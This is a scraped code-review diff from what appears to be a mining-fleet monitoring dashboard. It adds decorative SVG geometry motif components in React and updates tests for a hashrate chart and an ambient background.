ry={r * (0.55 + i * 0.08)}
|
||||
strokeWidth="0.16"
|
||||
transform={`rotate(${i * 12} ${cx} ${cy})`}
|
||||
/>
|
||||
))}
|
||||
<circle cx={cx} cy={cy} r="2" fill={stroke} opacity="0.8" />
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
/** Whimsical “key to knowledge” — geometric bow + shaft */
|
||||
export function KnowledgeKey({ className = '', stroke = DEFAULT_STROKE, opacity = 0.55 }: MotifProps) {
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity} fill="none" stroke={stroke} strokeLinecap="round" strokeLinejoin="round">
|
||||
<circle cx="38" cy="38" r="16" strokeWidth="0.35" />
|
||||
<circle cx="38" cy="38" r="8" stroke="#00f5ff" strokeWidth="0.25" />
|
||||
<polygon
|
||||
points="38,22 46,30 38,38 30,30"
|
||||
strokeWidth="0.2"
|
||||
fill="rgba(201,162,39,0.08)"
|
||||
/>
|
||||
<line x1="50" y1="50" x2="88" y2="88" strokeWidth="0.35" />
|
||||
<rect x="72" y="72" width="8" height="8" strokeWidth="0.22" transform="rotate(45 76 76)" />
|
||||
<rect x="80" y="64" width="6" height="6" strokeWidth="0.2" transform="rotate(45 83 67)" />
|
||||
<path d="M 62 62 L 68 56 M 70 70 L 76 64" strokeWidth="0.18" opacity="0.7" />
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function SriYantraLite({ className = '', stroke = DEFAULT_STROKE, opacity = 0.4 }: MotifProps) {
|
||||
const cx = 50;
|
||||
const cy = 52;
|
||||
const tri = (r: number, flip: boolean) => {
|
||||
const pts = [0, 120, 240].map((d) => {
|
||||
const rad = ((d - 90) * Math.PI) / 180;
|
||||
const y = (flip ? -1 : 1) * r * Math.sin(rad);
|
||||
return `${cx + r * Math.cos(rad)},${cy + y}`;
|
||||
});
|
||||
return pts.join(' ');
|
||||
};
|
||||
return (
|
||||
<svg className={className} viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
|
||||
<g opacity={opacity} fill="none" stroke={stroke} strokeWidth="0.16">
|
||||
<circle cx={cx} cy={cy} r="38" strokeDasharray="1.5 2" />
|
||||
<polygon points={tri(32, false)} />
|
||||
<polygon points={tri(24, true)} stroke="#ff2da6" opacity="0.65" />
|
||||
<polygon points={tri(16, false)} stroke="#00f5ff" opacity="0.55" />
|
||||
<circle cx={cx} cy={cy} r="1.2" fill={stroke} />
|
||||
</g>
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export type MotifName =
|
||||
| 'flower'
|
||||
| 'seed'
|
||||
| 'metatron'
|
||||
| 'vesica'
|
||||
| 'hex'
|
||||
| 'spiral'
|
||||
| 'torus'
|
||||
| 'key'
|
||||
| 'yantra';
|
||||
|
||||
export function SacredMotif({
|
||||
name,
|
||||
className = '',
|
||||
stroke,
|
||||
opacity,
|
||||
}: MotifProps & { name: MotifName }) {
|
||||
const props = { className, stroke, opacity };
|
||||
switch (name) {
|
||||
case 'seed':
|
||||
return <SeedOfLife {...props} />;
|
||||
case 'metatron':
|
||||
return <MetatronCube {...props} />;
|
||||
case 'vesica':
|
||||
return <VesicaPiscis {...props} />;
|
||||
case 'hex':
|
||||
return <HexLattice {...props} />;
|
||||
case 'spiral':
|
||||
return <GoldenSpiral {...props} />;
|
||||
case 'torus':
|
||||
return <TorusRings {...props} />;
|
||||
case 'key':
|
||||
return <KnowledgeKey {...props} />;
|
||||
case 'yantra':
|
||||
return <SriYantraLite {...props} />;
|
||||
case 'flower':
|
||||
default:
|
||||
return <FlowerOfLifeWatermark {...props} />;
|
||||
}
|
||||
}
|
||||
@@ -13,6 +13,7 @@ import { downloadApiFile, downloadAuthedFile } from '../api/download';
|
||||
import { getStoredAuth } from '../api/auth';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { DEFAULT_FLEET_FILTERS } from '../help/fleetFilters';
|
||||
import { generateSampleSeries, validateChartSeries } from '../help/chartSampleData';
|
||||
|
||||
import NeonCard from './NeonCard/NeonCard';
|
||||
import { HelpTip, FieldHint } from './HelpTip';
|
||||
@@ -316,7 +317,23 @@ describe('HashrateChart', () => {
|
||||
it('shows empty state when data is empty', () => {
|
||||
render(<HashrateChart data={[]} title="Fleet Hash" />);
|
||||
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
|
||||
expect(screen.getByText(/Awaiting signal from fleet/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders chart with validated sample series', () => {
|
||||
const sample = generateSampleSeries('hashrate', 24);
|
||||
expect(validateChartSeries(sample).ok).toBe(true);
|
||||
render(
|
||||
<HashrateChart
|
||||
data={sample}
|
||||
displayMode="sample"
|
||||
title="Fleet Hash"
|
||||
color="#00f5ff"
|
||||
unit="H/s"
|
||||
/>
|
||||
);
|
||||
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
|
||||
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders chart with data points', () => {
|
||||
@@ -728,6 +745,8 @@ describe('AmbientBackground', () => {
|
||||
const { container } = render(<AmbientBackground />);
|
||||
expect(container.querySelector('.ambient-bg')).toBeTruthy();
|
||||
expect(container.querySelector('.ambient-sacred-geo')).toBeTruthy();
|
||||
expect(container.querySelector('.ambient-geo-hex-veil')).toBeTruthy();
|
||||
expect(container.querySelectorAll('.ambient-geo-corner').length).toBeGreaterThanOrEqual(2);
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
Reference in New Issue
Block a user